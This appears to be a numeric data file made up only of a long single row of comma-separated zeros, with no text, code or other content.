0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,